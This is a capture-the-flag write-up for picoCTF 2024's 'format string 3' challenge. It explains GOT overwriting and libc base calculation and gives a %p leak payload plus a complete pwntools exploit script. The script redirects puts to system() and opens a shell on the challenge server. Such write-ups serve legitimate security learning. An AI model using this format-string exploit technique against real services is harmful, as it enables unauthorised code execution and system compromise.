> For the complete documentation index, see [llms.txt](https://simon-6.gitbook.io/simoncyber/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://simon-6.gitbook.io/simoncyber/ctf-writeups/picoctf-2024/binary-exploitation/format-string-3-medium.md).

# format string 3 (Medium)

<figure><img src="/files/unDWJFYi3euIpgQitwZc" alt=""><figcaption></figcaption></figure>

### Source Code

wget <https://artifacts.picoctf.net/c_rhea/30/format-string-3.c> <https://artifacts.picoctf.net/c_rhea/30/libc.so.6> <https://artifacts.picoctf.net/c_rhea/30/ld-linux-x86-64.so.2>

```c
#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
        puts("Howdy gamers!");
        printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
        char *all_strings[MAX_STRINGS] = {NULL};
        char buf[1024] = {'\0'};

        setup();
        hello();

        fgets(buf, 1024, stdin);
        printf(buf);

        puts(normal_string);

        return 0;
}
```

> **libc** is the common shorthand for the **C standard library** (or ISO C library), which is a collection of standard functions and tools that C programs use to perform essential tasks such as input/output, string manipulation, and memory management.

I'm skipping to format string 3 instead of doing the previous. As you know, this a format string vulnerability which happens when you use a printf() or any other command without a format string. The challenge gives us the memory address for setvbuf function in libc.&#x20;

```
printf(buf);
```

Additionally, the string initialization at the top declares the variable "normal\_string" as a pointer to the string "/bin/sh". The string is the file path to the linux terminal.&#x20;

{% hint style="info" %}
system() is a standard library function that hands a string to the OS terminal to be executed as a command. For example, if you run system(normal\_string) and normal\_string is /bin/sh, you would essentially run the terminal.&#x20;
{% endhint %}

The goal of this challenge is to create a system(normal\_string) so it would allow me to ls the current directory of the flag. Hence, to do so I would need to change puts(normal\_string) in the main function to system(normal\_string). But before we do anything we'll need to know some topics.

### What is GOT?

GOT (Global Offset Table) is essentially a Phone Book for functions. Functions such as printf() live in libraries like libc. So when you call an function like printf(), it looks into GOT to find the specific address for that function. However, you can exploit it by rewriting the printf() address to one of like the system().

As I already said, libc is standard function library. It includes everything from printf(), malloc(), and system(). If our goal is try to find the memory address of system(), we'll need a starting point or an offset inside the library, considering that PIE and ASLR is enabled.&#x20;

The dynamic linker (e.g.`ld.so``ld-linux.so`) is an operating system component that loads and links shared libraries into a program's memory space at runtime, just before or during execution. It basically finds the libc file, loads it into memory, and fills out the GOT phone book.&#x20;

### Solution

The first part of the problem is to find the offset of the main function. This could be done by inserting some code.

```
AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%pAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%pAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
```

Once we insert this, we get the response: Counting, we see an offset of 38.&#x20;

AAAAAAAA0x79549ea2b9630xfbad208b0x7ffef35427c00x1(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)0x4141414141414141

This offset of 38 is the stack offset. But we also need to know the Libc offset to know where system() is and therefore the libc base address. We statically get the setvbuf address by running this command.

```
objdump -T ./libc.so.6 | grep "setvbuf"
```

This returns 0x000000000007a3f0 (the libc offset). So knowing statically the offset from the start of the libc function, we can now predict it regardless of ASLR. We can now calculate the libc base address. For example if we get an address for setvbuf as like 0x7ffff7e123f0, we can subtract 0x000000000007a3f0 from it to get the starting address or libc base.&#x20;

<figure><img src="/files/nFBeD4E4FND3skzRwUHh" alt=""><figcaption></figcaption></figure>

Since we also know the static offset of system, to find system in the ASLR, we would just get setubv, minus its offset to get the base, and then add the offset of system 000000000004f760 to it.

Now regarding the stack offset, how did we use that? Since printf() basically just runs the code given to us, we need our input to start on the 38th point of the stack. This printf() includes the system call.&#x20;

### Code

```python
#!/usr/bin/env python3
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]

exe = "./format-string-3"
elf = context.binary = ELF(exe)
#elf is like .exe but for linux, we need to put elf around exe 
libc = ELF("./libc.so.6")
#opens libc file to read its static offsets 

#io = process()
io = remote("rhea.picoctf.net", 52286)

if args.GDB: gdb.attach(io, "b *main+127") # gdb attachment

start = 38

io.recvuntil(b'setvbuf in libc: ')
leak = int(io.recvline().strip(), 16)
#takes the number and converts it into hex 
print("setvbuf @ %#x" % leak)

libc.address = leak - 0x000000000007a3f0
#gets the base address, and tells pwntools the base address and shifts  
print("libc @ %#x" % libc.address)

payload = fmtstr_payload(start, {elf.sym.got.puts: libc.sym.system})
#uses fmstr_payload, from the start of 38, 
##Write the address of system() into the GOT entry for puts(). Use the system() in libc. \
#since GOT lives inside of the elf, it points to the functions inside libc 

io.sendline(payload)
io.interactive()

```

<https://www.theflash2k.me/blog/ctf-techs/fsb-guide#overwriting-entries-on-the-global-offset-table>
